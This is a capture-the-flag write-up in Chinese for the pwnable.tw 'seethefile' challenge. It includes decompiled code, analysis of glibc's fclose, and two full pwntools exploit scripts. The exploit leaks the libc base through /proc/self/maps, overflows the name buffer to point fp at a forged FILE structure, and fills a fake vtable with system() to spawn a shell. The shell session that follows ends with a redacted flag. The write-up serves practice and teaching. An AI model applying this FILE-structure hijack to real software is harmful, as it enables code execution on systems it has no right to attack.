Pwnable.tw-seethefile

2024-09-20

Pwnable.tw-seethefile

Author: 堇姬Naup

libc

glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/i386/libc6/2.23-0ubuntu5

把i386載下來

1
dpkg -X libc6_2.23-0ubuntu5_i386.deb .

在libs裡面就有ld跟libc了

patchelf直接patch上去

1
2
patchelf --set-interpreter ld-2.23.so seethefile
patchelf --replace-needed libc.so.6 ./libc-2.23.so seethefile

IDA 分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-44h]
int v5; // [esp-Ch] [ebp-44h]
int v6; // [esp-8h] [ebp-40h]
int v7; // [esp-4h] [ebp-3Ch]
char v8[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v9; // [esp+2Ch] [ebp-Ch]

v9 = __readgsdword(0x14u);
init();
welcome();
while ( 1 )
{
menu();
__isoc99_scanf("%s", v8);
switch ( atoi(v8) )
{
case 1:
openfile();
continue;
case 2:
readfile();
continue;
case 3:
writefile();
continue;
case 4:
closefile();
continue;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0, v5, v6, v7);
goto LABEL_10;
default:
LABEL_10:
puts("Invaild choice");
exit(0, v4, v6, v7);
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
int menu()
{
puts("---------------MENU---------------");
puts(" 1. Open");
puts(" 2. Read");
puts(" 3. Write to screen");
puts(" 4. Close");
puts(" 5. Exit");
puts("----------------------------------");
return printf("Your choice :");

五種功能
openfile
readfile
writefile
closefile
Exit

Exit的地方會讓你輸入name,並print出來

openfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int openfile()
{
int v1; // [esp-Ch] [ebp-14h]
int v2; // [esp-8h] [ebp-10h]
int v3; // [esp-4h] [ebp-Ch]

if ( fp )
{
puts("You need to close the file first");
return 0;
}
else
{
memset(&magicbuf, 0, 400);
printf("What do you want to see :");
__isoc99_scanf("%63s", &filename);
if ( strstr(&filename, "flag") )
{
puts("Danger !");
exit(0, v1, v2, v3);
}
fp = fopen(&filename, "r");
if ( fp )
return puts("Open Successful");
else
return puts("Open failed");
}
}

readfile

1
2
3
4
5
6
7
8
9
10
11
12
int readfile()
{
int result; // eax

memset(&magicbuf, 0, 400);
if ( !fp )
return puts("You need to open a file first");
result = fread(&magicbuf, 399, 1, fp);
if ( result )
return puts("Read Successful");
return result;
}

writefile

1
2
3
4
5
6
7
8
9
10
11
12
13
int writefile()
{
int v1; // [esp-Ch] [ebp-14h]
int v2; // [esp-8h] [ebp-10h]
int v3; // [esp-4h] [ebp-Ch]

if ( strstr(&filename, "flag") || strstr(&magicbuf, "FLAG") || strchr(&magicbuf, 125) )
{
puts("you can't see it");
exit(1, v1, v2, v3);
}
return puts(&magicbuf);
}

closefile

1
2
3
4
5
6
7
8
9
10
11
int closefile()
{
int result; // eax

if ( fp )
result = fclose(fp);
else
result = puts("Nothing need to close");
fp = 0;
return result;
}

vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
1
2
3
4
5
6
7
pwndbg> x/40xw 0xf7fccac0
0xf7fccac0 <_IO_file_jumps>: 0x00000000 0x00000000 0xf7e85d80 0xf7e86760
0xf7fccad0 <_IO_file_jumps+16>: 0xf7e86500 0xf7e875d0 0xf7e88460 0xf7e859f0
0xf7fccae0 <_IO_file_jumps+32>: 0xf7e85610 0xf7e848b0 0xf7e87870 0xf7e846f0
0xf7fccaf0 <_IO_file_jumps+48>: 0xf7e845e0 0xf7e79db0 0xf7e859a0 0xf7e85460
0xf7fccb00 <_IO_file_jumps+64>: 0xf7e851a0 0xf7e846c0 0xf7e85440 0xf7e885f0
0xf7fccb10 <_IO_file_jumps+80>: 0xf7e88600 0x00000000 0x00000000 0x00000000

fclose and __fininsh source code

宣告fclose
https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/stdio.h#L213

1
2
3
4
5
/* Close STREAM.

This function is a possible cancellation point and therefore not
marked with __THROW. */
extern int fclose (FILE *__stream);

call fclose 會進到 _IO_new_fclose
https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/iofclose.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int
_IO_new_fclose (FILE *fp)
{
int status;

CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif

/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;

__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.step);
__gconv_release_step (cc->__cd_out.step);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
_IO_deallocate_file (fp);
return status;
}

首先他call _IO_un_link
將 fp 移出鏈表

之後調用 _IO_FINISH 一樣經過了一堆 macro後,他 call 到 _IO_new_file_finish

https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c#L167

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_new_file_finish (FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
libc_hidden_ver (_IO_new_file_finish, _IO_file_finish)

他會去刷新buffer,並syscall close

大致上就是

  • 從 _IO_list_all 中移除fp
  • call vtable 中 _IO_FINISH (_IO_new_file_finish)
  • flush buffer
  • _IO_SYSCLOSE
  • free

如果我要攻擊 2.23 的fclose,可以偽造vtable
修改 vtable ptr指向fake vtable,並將fake vtable上每個ptr都改成system
並且在fp pointer寫上/bin/sh,這樣call fclose 時候會跳到system上,fclose(fp) -> system(fp) -> system(‘/bin/sh’)

分析

首先是Exit的部分有buffer overflow
再來在/proc/self/maps會有整個binary記憶體的狀況,所以可以透過open read write他來leak libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x86_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./seethefile')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10200")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x804889b')

### I/O
def openfile(file_path):
sla(b'Your choice :',b'1')
sla(b'What do you want to see :',file_path)

def readfile():
sla(b'Your choice :',b'2')

def writefile():
sla(b'Your choice :',b'3')

def closefile():
sla(b'Your choice :',b'4')

### exploit

openfile(b'/proc/self/maps')
readfile()
readfile()
writefile()

libc_base = int(rcls(3)[2].split(b'-')[0],16)
NAUPINFO('LIBCBASE',hex(libc_base))

libc_system = libc_base + 0x3a940

### interactive
ita()

觀察一下記憶體的布局,name在fp上方,能對file structure做操作

1
2
3
4
5
6
.bss:0804B260                 public name
.bss:0804B260 ; char name[32]
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r

詳細利用見上方,這邊直接看要偽造啥

1
2
3
4
pwndbg> x/10xg 0x804b260
0x804b260 <name>: 0x0000000000000000 0x0000000000000000
0x804b270 <name+16>: 0x0000000000000000 0x0000000000000000
0x804b280 <fp>: 0x000000000804c410 0x0000000000000000

fp 指向heap上的fp,先將fp修改成bss下方的addr,並在bss上偽造fake FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/50xw 0x804c410
0x804c410: 0xfbad2488 0x00000000 0x00000000 0x00000000
0x804c420: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c430: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c440: 0x00000000 0xf7fcdcc0 0x00000003 0x00000000
0x804c450: 0x00000000 0x00000000 0x0804c4a8 0xffffffff
0x804c460: 0xffffffff 0x00000000 0x0804c4b4 0x00000000
0x804c470: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c480: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c490: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a0: 0x00000000 0xf7fccac0 0x00000000 0x00000000
0x804c4b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4c0: 0x00000000 0x00000000 0x00000000 0x00000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
}

要偽造
flags = 0xfbaddfff (_IO_IS_FILEBUF 要關掉,來bypass & _IO_IS_FILEBUF)
用分號在下方偽造/bin/sh
vtable 指向 fake vtable addess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
------------- 0x804B260
| padding | name (size 0x20)
------------- 0x804B280
| 0x804B290 |
-------------
|

------------- 0x804B290
| 0xffffdfff| fake_fp flag -> NOT _IO_IS_FILEBUF
-------------
| ;/bi | fake_fp _IO_read_ptr
-------------
| n/sh | fake_fp _IO_read_end
-------------
| ;000000 | fake_fp _IO_read_base
-------------
...
-------------
| 0x804b3d0 | fake_fp vtable (fake_fp+0x140)
-------------
|

------------- fake_fp + 0x140
| system | change address to system
| system |
| ... |
| system |
-------------

最終利用腳本如下

exploit

local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x86_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./seethefile')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10200")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
print('connect: ',REMOTE_IP, REMOTE_PORT)
r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x8048acb')

### I/O
def openfile(file_path):
sla(b'Your choice :',b'1')
sla(b'What do you want to see :',file_path)

def readfile():
sla(b'Your choice :',b'2')

def writefile():
sla(b'Your choice :',b'3')

def closefile():
sla(b'Your choice :',b'4')

def exit(payload):
sla(b'Your choice :',b'5')
sla(b'Leave your name :',payload)


### exploit

openfile(b'/proc/self/maps')
readfile()
readfile()
writefile()

libc_base = int(rcls(3)[2].split(b'-')[0],16)
NAUPINFO('LIBCBASE',hex(libc_base))

libc_system = libc_base + 0x3a940
name_addr = 0x804B260
fp_pointer_addr = 0x804B280

fakefp_addr = 0x804B290
fake_vtable_addr = fakefp_addr+0x140

fakefp = FileStructure()
fakefp.flags = 0xfbaddfff
fakefp._IO_read_ptr = b';/bi'
fakefp._IO_read_end = b'n/sh'
fakefp._IO_read_base = b';'
fakefp.vtable = fake_vtable_addr

payload = b'\x00'*0x20 + p32(fakefp_addr)
payload += b'\x00'*12
payload += bytes(fakefp).ljust(0x140,b'\x00')
payload += p32(libc_system)*21

exit(payload)

### interactive
ita()

remote

在remote狀況時,需要改一下收libc的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x86_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./seethefile')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10200")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
print('connect: ',REMOTE_IP, REMOTE_PORT)
r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x8048acb')

### I/O
def openfile(file_path):
sla(b'Your choice :',b'1')
sla(b'What do you want to see :',file_path)

def readfile():
sla(b'Your choice :',b'2')

def writefile():
sla(b'Your choice :',b'3')

def closefile():
sla(b'Your choice :',b'4')

def exit(payload):
sla(b'Your choice :',b'5')
sla(b'Leave your name :',payload)


### exploit

openfile(b'/proc/self/maps')
readfile()
readfile()
writefile()

#print(rcls(5))

libc_base = int(rcls(3)[1].split(b'-')[0],16)
NAUPINFO('LIBCBASE',hex(libc_base))

libc_system = libc_base + 0x3a940
name_addr = 0x804B260
fp_pointer_addr = 0x804B280

fakefp_addr = 0x804B290
fake_vtable_addr = fakefp_addr+0x140

fakefp = FileStructure()
fakefp.flags = 0xfbaddfff
fakefp._IO_read_ptr = b';/bi'
fakefp._IO_read_end = b'n/sh'
fakefp._IO_read_base = b';'
fakefp.vtable = fake_vtable_addr


payload = b'\x00'*0x20 + p32(fakefp_addr)
payload += b'\x00'*12
payload += bytes(fakefp).ljust(0x140,b'\x00')
payload += p32(libc_system)*21

exit(payload)

### interactive
ita()

連上後執行讀檔的binary,輸入 Give me the flag 就可以get flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
flag
seethefile
$ cd seethefile
$ ls
flag
get_flag
get_flag.c
run.sh
seethefile
$ ./get_flag
Your magic :$ Give me the flag
Here is your flag: FLAG{....}